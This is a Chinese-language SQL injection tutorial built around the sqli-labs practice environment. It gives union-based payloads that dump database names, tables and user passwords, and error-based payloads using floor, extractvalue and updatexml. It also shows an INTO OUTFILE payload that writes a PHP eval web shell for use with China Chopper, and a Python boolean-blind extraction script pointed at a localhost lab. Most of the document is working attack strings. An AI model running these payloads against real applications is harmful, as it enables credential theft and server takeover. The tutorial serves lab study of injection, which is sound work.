sql註入判斷流程(結合sqli labs學習) 類型一 1. 類型判斷 ?id=1 and 1=2 + 如果返回結果正常,說明不是數字類型 and 為兩方都為真才算爭取 ?id=1' + 顯示不正常 ?id=1') + 若顯示正常,則該類型為字元註入,且以('')的方式閉合字元串,還有("") + ...
sql註入判斷流程(結合sqli-labs學習)
類型一
類型判斷
?id=1 and 1=2 --+如果返回結果正常,說明不是數字類型
and 為兩方都為真才算爭取
?id=1' --+ 顯示不正常
?id=1') --+ 若顯示正常,則該類型為字元註入,且以('')的方式閉合字元串,還有("")
--+ 是註釋,因為瀏覽器在發送請求的時候會把URL末尾的空格捨去,所以我們用--+代替-- ,原因是+在URL被URL編碼後會變成空格。
利用order by查看有多少列
?id=1 order by 1 --+
?id=1 order by 2 --+
... 一直到出現 Unknown column '行數' in 'order clause' 為止小技巧:可以選擇一個較大的數字來分組
查詢資料庫名
?id=-1' UNION SELECT 1, (SELECT GROUP_CONCAT(SCHEMA_NAME) from information_schema.schemata),3 --+id=-1' 是為了後面的內容能夠正確顯示,若前面能直接查詢,後面可能查詢不完整
通過查詢到的資料庫名查看表名
?id= -1' union select 1,(select group_concat(schema_name) from information_schema.schemata), (select group_concat(table_name) from information_schema.tables where table_schema='資料庫名') --+利用表名爆破列名
?id =-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+整合信息
?id=-1' union select 1, (select group_concat(username) from security.users),(select group_concat(password) from security.users) --+
類型二 報錯盲註
- 按照類型一無法判斷是否有存在註入
- 不管如何註入都顯示報錯信息可嘗試使用三種方式進行註入
floor函數(取整)
?id=1' and (select 1 from (select count(),concat(0x7e,database(),0x7e,floor(rand()2)) as a from information_schema.tables group by a)as b)limit 0,1--+若返回 Subjectquery returns more than 1 row 可能是因為限制了返回的字元長度
0x7e 是符號‘~’的十六進位限制64位
extractvalue函數
?id=1' and extractvalue(1,concat(0x7,(select database()),0x7e)) limit 0,1--+select database() 可替換為其他查詢語句
extractvalue(XML_document, XPath_string);返回長度為32個字元長度
updatexml函數
?id=1' and updatexml(1,concat(0x3a,(select database())),1) limit 0,1--+select database() 可替換為其他查詢語句
updatexml(XML_document, XPath_string,new_value);返回長度為32個字元長度
類型三 導出文件到本地,一句話木馬
瞭解
file許可權:資料庫用戶是否有許可權向操作系統寫入和讀取已存在的許可權
into outfile:伺服器上一個可以寫入文件的文件夾的完整路徑將結果保存在本地文件
?id=1')) union select 1,2,3 into outfile '有讀取許可權的路徑\文件名.文件類型'; --+註意使用''進行轉義,即路徑寫為‘\’
不會覆蓋已存在的文件名嘗試一句話木馬
?id=1')) union selet 1,2,'<?php @eval($_post['test']); ?>' into outfile '有讀取許可權的路徑\文件名.php'; --+可嘗試使用中國菜刀等軟體
註意MySQL 5.7版本之後into outfile預設是禁用的,需要重新走一下初始化
在ini或者cnf初始化文件中加入初始化設定 secure_file_priv=''
類型四 布爾盲註
常用函數
1.1 mid(string,start,length)函數string(必需)規定要返回其中一部分的字元串
start(必需)規定開始位置(起始值為1)
length(可選)要返回的字元數。如果省略,則mid()函數返回剩餘文本
1.2 substr(string,start,length) 函數
string(必需)規定要返回其中一部分的字元串
start(必需)規定在字元串的何處開始
length(可選)規定被返回字元串的長度
1.3 left(string, length)函數
string(必需)規定要返回其中一部分的字元串
length(可選)規定被返回字元串的前length長度的字元
- 判斷資料庫名字長度
?id=1' and length(database())=8 --+ 資料庫字元串判斷
?id=1' and left(database(),1)='字元串' --+資料庫第一個字元串是否等於'字元串'
資料庫第二個字元串即,left(database(),1)='字元串',一般使用python腳本進行判斷
import requests
import os
#此函數先判斷資料庫長度
def length(url,str):
num = 1
while True:
str_num = '%d' %num
len_url = url + "' and (select length(database()) = " + str_num +")--+"
response = requests.get(len_url)
if str in response.text:
print("資料庫長度為:%s" %str_num)
content(url,str,num)
break
else:
num = num + 1
#此函數判斷字元串具體的內容
def content(url,str,num):
s = ['1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
con_num = 1
while con_num <= num:
str_num = '%d' %con_num
for i in s:
con_url = url + "' and (select mid(database(),"+ str_num +",1)='"+ i +"')--+"
response = requests.get(con_url)
if str in response.text:
fwrite(i)
con_num = con_num + 1
#此函數對字元串的內容做記錄並輸出
def fwrite(i):
# fp = open("cache.txt",'a')
# fp.write(i)
# fp.close()
print(i)
if __name__ == '__main__':
url = "http://localhost/sqli-labs/Less-5/?id=1"
response = requests.get(url)
str = "You are in..........."
if str in response.text:
length(url,str)
else:
print("請輸入正確的地址")
類型五 時間盲註
時間盲註原理
通過IF來判斷我們輸入是否正確,如果正確立刻返回,如果錯誤則延遲數秒返回。
網站關閉了錯誤回顯或過濾了關鍵字,網頁只會返回狀態。測試
常見錯誤排除
Please input the ID as parameter with numeric value
錯誤排除:可能書寫為?id = 1 ,不要有多餘的空格,應該寫為?id=1